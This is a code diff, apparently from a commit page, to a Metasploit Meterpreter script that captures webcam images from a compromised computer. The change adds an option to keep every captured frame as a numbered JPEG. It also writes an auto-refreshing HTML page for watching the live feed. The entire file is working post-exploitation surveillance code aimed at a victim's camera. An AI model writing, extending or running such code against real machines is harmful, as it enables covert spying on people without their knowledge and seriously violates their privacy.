|
20 | 20 | "-q" => [ true, "The JPEG image quality (Default: 50)" ], |
21 | 21 | "-g" => [ false, "Send to GUI instead of writing to file" ], |
22 | 22 | "-s" => [ true, "Stop recording" ], |
23 | | - "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] |
| 23 | + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ], |
| 24 | + "-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ] |
24 | 25 | ) |
25 | | - |
| 26 | +iterator = 0 |
26 | 27 | folderpath = "." |
27 | 28 | single = false |
28 | 29 | quality = 50 |
29 | 30 | index = 1 |
30 | 31 | interval = 1000 |
31 | 32 | gui = false |
| 33 | +saveAll = false |
32 | 34 | opts.parse(args) { |opt, idx, val| |
33 | 35 | case opt |
34 | 36 | when "-h" |
|
53 | 55 | print_line("[*] Stopping webcam") |
54 | 56 | client.webcam.webcam_stop |
55 | 57 | raise Rex::Script::Completed |
| 58 | + when "-a" |
| 59 | + saveAll = true |
56 | 60 | end |
57 | 61 | } |
58 | 62 |
|
|
79 | 83 | 'PeerPort' => 16235 |
80 | 84 | ) |
81 | 85 | end |
82 | | - imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" |
| 86 | + imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" |
| 87 | + print_line( "[*] imagepath is #{imagepath}" ) |
83 | 88 | htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" |
84 | 89 | begin |
85 | 90 | if single == true |
|
97 | 102 | else |
98 | 103 | if(!gui) |
99 | 104 | ::File.open(htmlpath, 'wb' ) do |fd| |
100 | | - fd.write('<html><body><img src="webcam.jpg"></img><script>'+ |
101 | | - "setInterval('location.reload()',#{interval});</script></body><html>" ) |
| 105 | + htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>" |
| 106 | + fd.write(htmlOut) |
102 | 107 | end |
103 | 108 | print_line( "[*] View live stream at: #{htmlpath}" ) |
104 | 109 | Rex::Compat.open_file(htmlpath) |
|
111 | 116 | else |
112 | 117 | ::File.open( imagepath, 'wb' ) do |fd| |
113 | 118 | fd.write( data ) |
114 | | - end |
| 119 | + ::File.open(htmlpath, 'wb' ) do |fd| |
| 120 | + htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>" |
| 121 | + fd.write(htmlOut) |
| 122 | + if(saveAll) |
| 123 | + iterator = iterator + 1 |
| 124 | + imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" |
| 125 | + end |
| 126 | + end |
| 127 | + end |
115 | 128 | end |
116 | 129 | select(nil, nil, nil, interval/1000.0) |
117 | 130 | end |
|
0 commit comments